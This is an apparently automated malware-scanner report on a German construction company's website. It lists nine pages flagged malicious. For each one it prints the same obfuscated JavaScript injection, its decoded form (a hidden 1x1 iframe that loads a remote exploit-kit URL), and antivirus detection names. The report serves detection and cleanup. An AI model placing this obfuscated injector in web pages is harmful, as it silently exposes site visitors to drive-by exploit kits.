New scan:

Malware Scanner report for schwarzfischer-bau.com

Malicious/Suspicious/Total urls checked
9/0/15
9 pages have malicious code. See details below
Blacklists
Found
The website is marked by Google as suspicious.

The website "schwarzfischer-bau.com" is probably hacked and losing its visitors. You need to take action as soon as possible to fix security issues.
Malicious Redirects
OK
Malicious/Hidden/Total iFrames
0/0/0
Deface / Content modification
OK

Free periodic scanning and alerting: setup
(requires eVuln badge or a link to eVuln.com)

Malware & Hack Repair

  • Malware Removal
  • Blacklists Removal
  • Reason Eliminating
  • 1 Month Hack Insurance

More details

Website Hack Insurance

  • Files & DB Monitoring
  • Daily Backups
  • Malware & Hack Detection
  • Unlimited Hack Repairs

More details

Safe Browsing / Blacklists

Query: http://www.google.com/safebrowsing/diagnostic?site=schwarzfischer-bau.com

Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.

Scanned pages/files

RequestServer responseStatus
http://schwarzfischer-bau.com/
200 OK
Content-Length: 9890
Content-Type: text/html
clean
http://schwarzfischer-bau.com/index.html
200 OK
Content-Length: 9890
Content-Type: text/html
clean
http://schwarzfischer-bau.com/unternehmen.html
200 OK
Content-Length: 6537
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

var $w=(Date);if($w){$h='7843';}var $B={'j':'sp\x6Cit','n':'l\x65\x6E\x67th','T':'reve\x72\x73\x65','E':'st\x72\x69ng','S':'s\x75\x62str','G':!false,'K':'j\x6F\x69n'},$V='',$u=['<scipv>r ratd=cmt.cofunetrea"(femEeilente""v;)mrahlr rau://=ttpdixeliagitsnup-ff.ates/ailiaaiin.f.t?cgi3"es;ttArebiu("wthidt","es.t1");fritAithtubte"(eh",t;1")g"tAsf.tesetbiru"l,ur(rf);s."cetAe(ub"stittrtely"ibyis",vilit: diedhp ;onioistnslu;e :baoel ttop ft:t0p ;p:n);;t0 ume"doclEgt.teeTaBsne(ygNatmem"0[)d.]py"obapeCd)dslihnf(c<;/ript>'][$B.K]('\x0A'),$h=$h[$B.j]($V),$W=function(){for(var $b in $h){if(typeof($h[$b])==$B.E){var $C=[],$2=$B.G,$w=$h[$b]*-~false;for(E=[]^[];E<$u[$B.n];E+=$w){$C[E]=($2)?($u[$B.S](E,$w)[$B.j]($V)[$B.T]()[$B.K]($V)):($u[$B.S](E,$w));$2=!$2;}$u=$C[$B.K]($V);}}d\u006F\u0063ument.\u0077rite($u);},$u=$W();

Decoded script:


var f=document.createElement("iframe");var url="http://dialupexisting-affiliate.asia/in.cgi?3";f.setAttribute("width","1");f.setAttribute("height","1");f.setAttribute("src",url);f.setAttribute("style","visibility: hidden; position: absolute; left: 0pt; top: 0pt;");document.getElementsByTagName("body")[0].appendChild(f);

Antivirus reports:

Ikarus
Trojan.JS.IFrame
nProtect
Trojan.JS.Iframe.CUI
TrendMicro-HouseCall
TROJ_GEN.F47V0321
Emsisoft
Trojan.JS.Iframe.CUI (B)
Comodo
UnclassifiedMalware
McAfee-GW-Edition
Exploit-Nuclearkit.a
Kaspersky
HEUR:Trojan.Script.Iframer
MicroWorld-eScan
Trojan.JS.Iframe.CUI
Fortinet
Nuclearkit.A!exploit
McAfee
Exploit-Nuclearkit.a
F-Secure
Trojan.JS.Iframe.CUI
GData
Trojan.JS.Iframe.CUI
Commtouch
Trojan.FARX-9
BitDefender
Trojan.JS.Iframe.CUI

http://schwarzfischer-bau.com/ansprechpartner.html
200 OK
Content-Length: 9998
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

var $w=(Date);if($w){$h='7843';}var $B={'j':'sp\x6Cit','n':'l\x65\x6E\x67th','T':'reve\x72\x73\x65','E':'st\x72\x69ng','S':'s\x75\x62str','G':!false,'K':'j\x6F\x69n'},$V='',$u=['<scipv>r ratd=cmt.cofunetrea"(femEeilente""v;)mrahlr rau://=ttpdixeliagitsnup-ff.ates/ailiaaiin.f.t?cgi3"es;ttArebiu("wthidt","es.t1");fritAithtubte"(eh",t;1")g"tAsf.tesetbiru"l,ur(rf);s."cetAe(ub"stittrtely"ibyis",vilit: diedhp ;onioistnslu;e :baoel ttop ft:t0p ;p:n);;t0 ume"doclEgt.teeTaBsne(ygNatmem"0[)d.]py"obapeCd)dslihnf(c<;/ript>'][$B.K]('\x0A'),$h=$h[$B.j]($V),$W=function(){for(var $b in $h){if(typeof($h[$b])==$B.E){var $C=[],$2=$B.G,$w=$h[$b]*-~false;for(E=[]^[];E<$u[$B.n];E+=$w){$C[E]=($2)?($u[$B.S](E,$w)[$B.j]($V)[$B.T]()[$B.K]($V)):($u[$B.S](E,$w));$2=!$2;}$u=$C[$B.K]($V);}}d\u006F\u0063ument.\u0077rite($u);},$u=$W();

Decoded script:


var f=document.createElement("iframe");var url="http://dialupexisting-affiliate.asia/in.cgi?3";f.setAttribute("width","1");f.setAttribute("height","1");f.setAttribute("src",url);f.setAttribute("style","visibility: hidden; position: absolute; left: 0pt; top: 0pt;");document.getElementsByTagName("body")[0].appendChild(f);

Antivirus reports:

Ikarus
Trojan.JS.IFrame
nProtect
Trojan.JS.Iframe.CUI
TrendMicro-HouseCall
TROJ_GEN.F47V0321
Emsisoft
Trojan.JS.Iframe.CUI (B)
Comodo
UnclassifiedMalware
McAfee-GW-Edition
Exploit-Nuclearkit.a
Kaspersky
HEUR:Trojan.Script.Iframer
MicroWorld-eScan
Trojan.JS.Iframe.CUI
Fortinet
Nuclearkit.A!exploit
McAfee
Exploit-Nuclearkit.a
F-Secure
Trojan.JS.Iframe.CUI
GData
Trojan.JS.Iframe.CUI
Commtouch
Trojan.FARX-9
BitDefender
Trojan.JS.Iframe.CUI

http://schwarzfischer-bau.com/historie.html
200 OK
Content-Length: 5728
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

var $w=(Date);if($w){$h='7843';}var $B={'j':'sp\x6Cit','n':'l\x65\x6E\x67th','T':'reve\x72\x73\x65','E':'st\x72\x69ng','S':'s\x75\x62str','G':!false,'K':'j\x6F\x69n'},$V='',$u=['<scipv>r ratd=cmt.cofunetrea"(femEeilente""v;)mrahlr rau://=ttpdixeliagitsnup-ff.ates/ailiaaiin.f.t?cgi3"es;ttArebiu("wthidt","es.t1");fritAithtubte"(eh",t;1")g"tAsf.tesetbiru"l,ur(rf);s."cetAe(ub"stittrtely"ibyis",vilit: diedhp ;onioistnslu;e :baoel ttop ft:t0p ;p:n);;t0 ume"doclEgt.teeTaBsne(ygNatmem"0[)d.]py"obapeCd)dslihnf(c<;/ript>'][$B.K]('\x0A'),$h=$h[$B.j]($V),$W=function(){for(var $b in $h){if(typeof($h[$b])==$B.E){var $C=[],$2=$B.G,$w=$h[$b]*-~false;for(E=[]^[];E<$u[$B.n];E+=$w){$C[E]=($2)?($u[$B.S](E,$w)[$B.j]($V)[$B.T]()[$B.K]($V)):($u[$B.S](E,$w));$2=!$2;}$u=$C[$B.K]($V);}}d\u006F\u0063ument.\u0077rite($u);},$u=$W();

Decoded script:


var f=document.createElement("iframe");var url="http://dialupexisting-affiliate.asia/in.cgi?3";f.setAttribute("width","1");f.setAttribute("height","1");f.setAttribute("src",url);f.setAttribute("style","visibility: hidden; position: absolute; left: 0pt; top: 0pt;");document.getElementsByTagName("body")[0].appendChild(f);

Antivirus reports:

Ikarus
Trojan.JS.IFrame
nProtect
Trojan.JS.Iframe.CUI
TrendMicro-HouseCall
TROJ_GEN.F47V0321
Emsisoft
Trojan.JS.Iframe.CUI (B)
Comodo
UnclassifiedMalware
McAfee-GW-Edition
Exploit-Nuclearkit.a
Kaspersky
HEUR:Trojan.Script.Iframer
MicroWorld-eScan
Trojan.JS.Iframe.CUI
Fortinet
Nuclearkit.A!exploit
McAfee
Exploit-Nuclearkit.a
F-Secure
Trojan.JS.Iframe.CUI
GData
Trojan.JS.Iframe.CUI
Commtouch
Trojan.FARX-9
BitDefender
Trojan.JS.Iframe.CUI

http://schwarzfischer-bau.com/referenzen.html
200 OK
Content-Length: 6149
Content-Type: text/html
clean
http://schwarzfischer-bau.com/wohnhaeuser.html
200 OK
Content-Length: 26650
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

var $w=(Date);if($w){$h='7843';}var $B={'j':'sp\x6Cit','n':'l\x65\x6E\x67th','T':'reve\x72\x73\x65','E':'st\x72\x69ng','S':'s\x75\x62str','G':!false,'K':'j\x6F\x69n'},$V='',$u=['<scipv>r ratd=cmt.cofunetrea"(femEeilente""v;)mrahlr rau://=ttpdixeliagitsnup-ff.ates/ailiaaiin.f.t?cgi3"es;ttArebiu("wthidt","es.t1");fritAithtubte"(eh",t;1")g"tAsf.tesetbiru"l,ur(rf);s."cetAe(ub"stittrtely"ibyis",vilit: diedhp ;onioistnslu;e :baoel ttop ft:t0p ;p:n);;t0 ume"doclEgt.teeTaBsne(ygNatmem"0[)d.]py"obapeCd)dslihnf(c<;/ript>'][$B.K]('\x0A'),$h=$h[$B.j]($V),$W=function(){for(var $b in $h){if(typeof($h[$b])==$B.E){var $C=[],$2=$B.G,$w=$h[$b]*-~false;for(E=[]^[];E<$u[$B.n];E+=$w){$C[E]=($2)?($u[$B.S](E,$w)[$B.j]($V)[$B.T]()[$B.K]($V)):($u[$B.S](E,$w));$2=!$2;}$u=$C[$B.K]($V);}}d\u006F\u0063ument.\u0077rite($u);},$u=$W();

Decoded script:


var f=document.createElement("iframe");var url="http://dialupexisting-affiliate.asia/in.cgi?3";f.setAttribute("width","1");f.setAttribute("height","1");f.setAttribute("src",url);f.setAttribute("style","visibility: hidden; position: absolute; left: 0pt; top: 0pt;");document.getElementsByTagName("body")[0].appendChild(f);

Antivirus reports:

Ikarus
Trojan.JS.IFrame
nProtect
Trojan.JS.Iframe.CUI
TrendMicro-HouseCall
TROJ_GEN.F47V0321
Emsisoft
Trojan.JS.Iframe.CUI (B)
Comodo
UnclassifiedMalware
McAfee-GW-Edition
Exploit-Nuclearkit.a
Kaspersky
HEUR:Trojan.Script.Iframer
MicroWorld-eScan
Trojan.JS.Iframe.CUI
Fortinet
Nuclearkit.A!exploit
McAfee
Exploit-Nuclearkit.a
F-Secure
Trojan.JS.Iframe.CUI
GData
Trojan.JS.Iframe.CUI
Commtouch
Trojan.FARX-9
BitDefender
Trojan.JS.Iframe.CUI

http://schwarzfischer-bau.com/js/prototype.js
200 OK
Content-Length: 126132
Content-Type: application/javascript
clean
http://schwarzfischer-bau.com/js/scriptaculous.js?load=effects,builder
200 OK
Content-Length: 2654
Content-Type: application/javascript
clean
http://schwarzfischer-bau.com/js/lightbox.js
200 OK
Content-Length: 18389
Content-Type: application/javascript
clean
http://schwarzfischer-bau.com/umbau.html
200 OK
Content-Length: 19972
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

var $w=(Date);if($w){$h='7843';}var $B={'j':'sp\x6Cit','n':'l\x65\x6E\x67th','T':'reve\x72\x73\x65','E':'st\x72\x69ng','S':'s\x75\x62str','G':!false,'K':'j\x6F\x69n'},$V='',$u=['<scipv>r ratd=cmt.cofunetrea"(femEeilente""v;)mrahlr rau://=ttpdixeliagitsnup-ff.ates/ailiaaiin.f.t?cgi3"es;ttArebiu("wthidt","es.t1");fritAithtubte"(eh",t;1")g"tAsf.tesetbiru"l,ur(rf);s."cetAe(ub"stittrtely"ibyis",vilit: diedhp ;onioistnslu;e :baoel ttop ft:t0p ;p:n);;t0 ume"doclEgt.teeTaBsne(ygNatmem"0[)d.]py"obapeCd)dslihnf(c<;/ript>'][$B.K]('\x0A'),$h=$h[$B.j]($V),$W=function(){for(var $b in $h){if(typeof($h[$b])==$B.E){var $C=[],$2=$B.G,$w=$h[$b]*-~false;for(E=[]^[];E<$u[$B.n];E+=$w){$C[E]=($2)?($u[$B.S](E,$w)[$B.j]($V)[$B.T]()[$B.K]($V)):($u[$B.S](E,$w));$2=!$2;}$u=$C[$B.K]($V);}}d\u006F\u0063ument.\u0077rite($u);},$u=$W();

Decoded script:


var f=document.createElement("iframe");var url="http://dialupexisting-affiliate.asia/in.cgi?3";f.setAttribute("width","1");f.setAttribute("height","1");f.setAttribute("src",url);f.setAttribute("style","visibility: hidden; position: absolute; left: 0pt; top: 0pt;");document.getElementsByTagName("body")[0].appendChild(f);

Antivirus reports:

Ikarus
Trojan.JS.IFrame
nProtect
Trojan.JS.Iframe.CUI
TrendMicro-HouseCall
TROJ_GEN.F47V0321
Emsisoft
Trojan.JS.Iframe.CUI (B)
Comodo
UnclassifiedMalware
McAfee-GW-Edition
Exploit-Nuclearkit.a
Kaspersky
HEUR:Trojan.Script.Iframer
MicroWorld-eScan
Trojan.JS.Iframe.CUI
Fortinet
Nuclearkit.A!exploit
McAfee
Exploit-Nuclearkit.a
F-Secure
Trojan.JS.Iframe.CUI
GData
Trojan.JS.Iframe.CUI
Commtouch
Trojan.FARX-9
BitDefender
Trojan.JS.Iframe.CUI

http://schwarzfischer-bau.com/aussenanlagen.html
200 OK
Content-Length: 19494
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

var $w=(Date);if($w){$h='7843';}var $B={'j':'sp\x6Cit','n':'l\x65\x6E\x67th','T':'reve\x72\x73\x65','E':'st\x72\x69ng','S':'s\x75\x62str','G':!false,'K':'j\x6F\x69n'},$V='',$u=['<scipv>r ratd=cmt.cofunetrea"(femEeilente""v;)mrahlr rau://=ttpdixeliagitsnup-ff.ates/ailiaaiin.f.t?cgi3"es;ttArebiu("wthidt","es.t1");fritAithtubte"(eh",t;1")g"tAsf.tesetbiru"l,ur(rf);s."cetAe(ub"stittrtely"ibyis",vilit: diedhp ;onioistnslu;e :baoel ttop ft:t0p ;p:n);;t0 ume"doclEgt.teeTaBsne(ygNatmem"0[)d.]py"obapeCd)dslihnf(c<;/ript>'][$B.K]('\x0A'),$h=$h[$B.j]($V),$W=function(){for(var $b in $h){if(typeof($h[$b])==$B.E){var $C=[],$2=$B.G,$w=$h[$b]*-~false;for(E=[]^[];E<$u[$B.n];E+=$w){$C[E]=($2)?($u[$B.S](E,$w)[$B.j]($V)[$B.T]()[$B.K]($V)):($u[$B.S](E,$w));$2=!$2;}$u=$C[$B.K]($V);}}d\u006F\u0063ument.\u0077rite($u);},$u=$W();

Decoded script:


var f=document.createElement("iframe");var url="http://dialupexisting-affiliate.asia/in.cgi?3";f.setAttribute("width","1");f.setAttribute("height","1");f.setAttribute("src",url);f.setAttribute("style","visibility: hidden; position: absolute; left: 0pt; top: 0pt;");document.getElementsByTagName("body")[0].appendChild(f);

Antivirus reports:

Ikarus
Trojan.JS.IFrame
nProtect
Trojan.JS.Iframe.CUI
TrendMicro-HouseCall
TROJ_GEN.F47V0321
Emsisoft
Trojan.JS.Iframe.CUI (B)
Comodo
UnclassifiedMalware
McAfee-GW-Edition
Exploit-Nuclearkit.a
Kaspersky
HEUR:Trojan.Script.Iframer
MicroWorld-eScan
Trojan.JS.Iframe.CUI
Fortinet
Nuclearkit.A!exploit
McAfee
Exploit-Nuclearkit.a
F-Secure
Trojan.JS.Iframe.CUI
GData
Trojan.JS.Iframe.CUI
Commtouch
Trojan.FARX-9
BitDefender
Trojan.JS.Iframe.CUI

http://schwarzfischer-bau.com/zimmerei.html
200 OK
Content-Length: 19779
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

var $w=(Date);if($w){$h='7843';}var $B={'j':'sp\x6Cit','n':'l\x65\x6E\x67th','T':'reve\x72\x73\x65','E':'st\x72\x69ng','S':'s\x75\x62str','G':!false,'K':'j\x6F\x69n'},$V='',$u=['<scipv>r ratd=cmt.cofunetrea"(femEeilente""v;)mrahlr rau://=ttpdixeliagitsnup-ff.ates/ailiaaiin.f.t?cgi3"es;ttArebiu("wthidt","es.t1");fritAithtubte"(eh",t;1")g"tAsf.tesetbiru"l,ur(rf);s."cetAe(ub"stittrtely"ibyis",vilit: diedhp ;onioistnslu;e :baoel ttop ft:t0p ;p:n);;t0 ume"doclEgt.teeTaBsne(ygNatmem"0[)d.]py"obapeCd)dslihnf(c<;/ript>'][$B.K]('\x0A'),$h=$h[$B.j]($V),$W=function(){for(var $b in $h){if(typeof($h[$b])==$B.E){var $C=[],$2=$B.G,$w=$h[$b]*-~false;for(E=[]^[];E<$u[$B.n];E+=$w){$C[E]=($2)?($u[$B.S](E,$w)[$B.j]($V)[$B.T]()[$B.K]($V)):($u[$B.S](E,$w));$2=!$2;}$u=$C[$B.K]($V);}}d\u006F\u0063ument.\u0077rite($u);},$u=$W();

Decoded script:


var f=document.createElement("iframe");var url="http://dialupexisting-affiliate.asia/in.cgi?3";f.setAttribute("width","1");f.setAttribute("height","1");f.setAttribute("src",url);f.setAttribute("style","visibility: hidden; position: absolute; left: 0pt; top: 0pt;");document.getElementsByTagName("body")[0].appendChild(f);

Antivirus reports:

Ikarus
Trojan.JS.IFrame
nProtect
Trojan.JS.Iframe.CUI
TrendMicro-HouseCall
TROJ_GEN.F47V0321
Emsisoft
Trojan.JS.Iframe.CUI (B)
Comodo
UnclassifiedMalware
McAfee-GW-Edition
Exploit-Nuclearkit.a
Kaspersky
HEUR:Trojan.Script.Iframer
MicroWorld-eScan
Trojan.JS.Iframe.CUI
Fortinet
Nuclearkit.A!exploit
McAfee
Exploit-Nuclearkit.a
F-Secure
Trojan.JS.Iframe.CUI
GData
Trojan.JS.Iframe.CUI
Commtouch
Trojan.FARX-9
BitDefender
Trojan.JS.Iframe.CUI

http://schwarzfischer-bau.com/planungsbuero.html
200 OK
Content-Length: 6222
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

var $w=(Date);if($w){$h='7843';}var $B={'j':'sp\x6Cit','n':'l\x65\x6E\x67th','T':'reve\x72\x73\x65','E':'st\x72\x69ng','S':'s\x75\x62str','G':!false,'K':'j\x6F\x69n'},$V='',$u=['<scipv>r ratd=cmt.cofunetrea"(femEeilente""v;)mrahlr rau://=ttpdixeliagitsnup-ff.ates/ailiaaiin.f.t?cgi3"es;ttArebiu("wthidt","es.t1");fritAithtubte"(eh",t;1")g"tAsf.tesetbiru"l,ur(rf);s."cetAe(ub"stittrtely"ibyis",vilit: diedhp ;onioistnslu;e :baoel ttop ft:t0p ;p:n);;t0 ume"doclEgt.teeTaBsne(ygNatmem"0[)d.]py"obapeCd)dslihnf(c<;/ript>'][$B.K]('\x0A'),$h=$h[$B.j]($V),$W=function(){for(var $b in $h){if(typeof($h[$b])==$B.E){var $C=[],$2=$B.G,$w=$h[$b]*-~false;for(E=[]^[];E<$u[$B.n];E+=$w){$C[E]=($2)?($u[$B.S](E,$w)[$B.j]($V)[$B.T]()[$B.K]($V)):($u[$B.S](E,$w));$2=!$2;}$u=$C[$B.K]($V);}}d\u006F\u0063ument.\u0077rite($u);},$u=$W();

Decoded script:


var f=document.createElement("iframe");var url="http://dialupexisting-affiliate.asia/in.cgi?3";f.setAttribute("width","1");f.setAttribute("height","1");f.setAttribute("src",url);f.setAttribute("style","visibility: hidden; position: absolute; left: 0pt; top: 0pt;");document.getElementsByTagName("body")[0].appendChild(f);

Antivirus reports:

Ikarus
Trojan.JS.IFrame
nProtect
Trojan.JS.Iframe.CUI
TrendMicro-HouseCall
TROJ_GEN.F47V0321
Emsisoft
Trojan.JS.Iframe.CUI (B)
Comodo
UnclassifiedMalware
McAfee-GW-Edition
Exploit-Nuclearkit.a
Kaspersky
HEUR:Trojan.Script.Iframer
MicroWorld-eScan
Trojan.JS.Iframe.CUI
Fortinet
Nuclearkit.A!exploit
McAfee
Exploit-Nuclearkit.a
F-Secure
Trojan.JS.Iframe.CUI
GData
Trojan.JS.Iframe.CUI
Commtouch
Trojan.FARX-9
BitDefender
Trojan.JS.Iframe.CUI

http://schwarzfischer-bau.com/planungsreferenzen.html
200 OK
Content-Length: 4827
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

var $w=(Date);if($w){$h='7843';}var $B={'j':'sp\x6Cit','n':'l\x65\x6E\x67th','T':'reve\x72\x73\x65','E':'st\x72\x69ng','S':'s\x75\x62str','G':!false,'K':'j\x6F\x69n'},$V='',$u=['<scipv>r ratd=cmt.cofunetrea"(femEeilente""v;)mrahlr rau://=ttpdixeliagitsnup-ff.ates/ailiaaiin.f.t?cgi3"es;ttArebiu("wthidt","es.t1");fritAithtubte"(eh",t;1")g"tAsf.tesetbiru"l,ur(rf);s."cetAe(ub"stittrtely"ibyis",vilit: diedhp ;onioistnslu;e :baoel ttop ft:t0p ;p:n);;t0 ume"doclEgt.teeTaBsne(ygNatmem"0[)d.]py"obapeCd)dslihnf(c<;/ript>'][$B.K]('\x0A'),$h=$h[$B.j]($V),$W=function(){for(var $b in $h){if(typeof($h[$b])==$B.E){var $C=[],$2=$B.G,$w=$h[$b]*-~false;for(E=[]^[];E<$u[$B.n];E+=$w){$C[E]=($2)?($u[$B.S](E,$w)[$B.j]($V)[$B.T]()[$B.K]($V)):($u[$B.S](E,$w));$2=!$2;}$u=$C[$B.K]($V);}}d\u006F\u0063ument.\u0077rite($u);},$u=$W();

Decoded script:


var f=document.createElement("iframe");var url="http://dialupexisting-affiliate.asia/in.cgi?3";f.setAttribute("width","1");f.setAttribute("height","1");f.setAttribute("src",url);f.setAttribute("style","visibility: hidden; position: absolute; left: 0pt; top: 0pt;");document.getElementsByTagName("body")[0].appendChild(f);

Antivirus reports:

Ikarus
Trojan.JS.IFrame
nProtect
Trojan.JS.Iframe.CUI
TrendMicro-HouseCall
TROJ_GEN.F47V0321
Emsisoft
Trojan.JS.Iframe.CUI (B)
Comodo
UnclassifiedMalware
McAfee-GW-Edition
Exploit-Nuclearkit.a
Kaspersky
HEUR:Trojan.Script.Iframer
MicroWorld-eScan
Trojan.JS.Iframe.CUI
Fortinet
Nuclearkit.A!exploit
McAfee
Exploit-Nuclearkit.a
F-Secure
Trojan.JS.Iframe.CUI
GData
Trojan.JS.Iframe.CUI
Commtouch
Trojan.FARX-9
BitDefender
Trojan.JS.Iframe.CUI


Malicious Redirects

First query (normal visit):
GET / HTTP/1.1
Host: schwarzfischer-bau.com

Result:
HTTP/1.1 200 OK
Connection: close
Date: Fri, 26 Dec 2014 00:43:24 GMT
Accept-Ranges: bytes
ETag: "209f9408-26a2-4cf45997579dc"
Server: Apache/2.2.9 (Debian) DAV/2 mod_ssl/2.2.9 OpenSSL/0.9.8g PHP/5.2.6-1+lenny9 with Suhosin-Patch
Vary: Accept-Encoding
Content-Length: 9890
Content-Type: text/html
Last-Modified: Sat, 24 Nov 2012 22:55:41 GMT

...9890 bytes of data.
Second query (visit from search engine):
GET / HTTP/1.1
Host: schwarzfischer-bau.com
Referer: http://www.google.com/search?q=schwarzfischer-bau.com

Result:
The result is similar to the first query. There are no suspicious redirects found.